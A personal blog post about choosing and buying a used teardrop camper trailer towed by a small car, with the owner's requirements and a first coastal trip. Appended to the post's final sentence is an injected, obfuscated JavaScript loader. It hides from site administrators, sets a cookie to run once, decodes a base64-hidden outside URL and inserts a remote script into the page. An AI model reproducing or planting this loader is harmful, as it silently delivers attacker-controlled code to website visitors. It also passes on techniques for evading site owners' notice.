In Summer, 2016, after camping in a tent and losing my car keys in the desert, I decided that I wanted a camper for future expeditions. I used to own a Jayco tent trailer, but sold it after moving into the city. That tent trailer was just way too big, especially for solo needs. I wanted something smaller that could be towed safely with my 135i. My requirements were:
- Lightweight: 1500lbs maximum
- Small: Ability to maneuver and tow easily
- Limited feature creep: Primarily an upgrade from sleeping in a tent, perhaps with a few amenities.
- Plug & play: Since I can’t store the trailer near where I live, I want the ability to simply pick it up, hook it up, and take it out. It needs to be low maintenance with minimal set-up or tear-down.
These requirements mean that most tent trailers are not an option. Small, light weight tent trailers are difficult to find. They are built very wide — wider than my car. They tend to include too many amenities, which makes them feel too much like an RV where I’m expected to spend too much time inside; I’d rather be forced to spend my time outside. Tent trailers are also not quite plug and play — e.g., I can’t store it right after a rain since the canvas has to dry out.
Teardrops are an excellent option! I get a comfortable sleeping area on the inside and a kitchen/galley area on the outside. They’re too small to stand up in, so I’m unlikely to spend any extra time inside it. I can store all my essential gear inside and always be ready to go — great for road trips. Most are right around 1000lbs and they’re specifically designed to be towed by small vehicles.
After touring several teardrops at various dealerships in the Portland area, I ended up purchasing a used 2013 Little Guy Silver Shadow 5×10 off craigslist. It had no amenities (no water, no sink, no stove, no A/C, no fridge) — just a light weight, perfectly sized teardrop to get started.
Our maiden voyage was to visit a friend on the coast in Westport, WA. A complete success!
I immediately had visions on how to customize it to add the amenities that I wanted, to my specifications. I’ll follow up with those modifications in future posts.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
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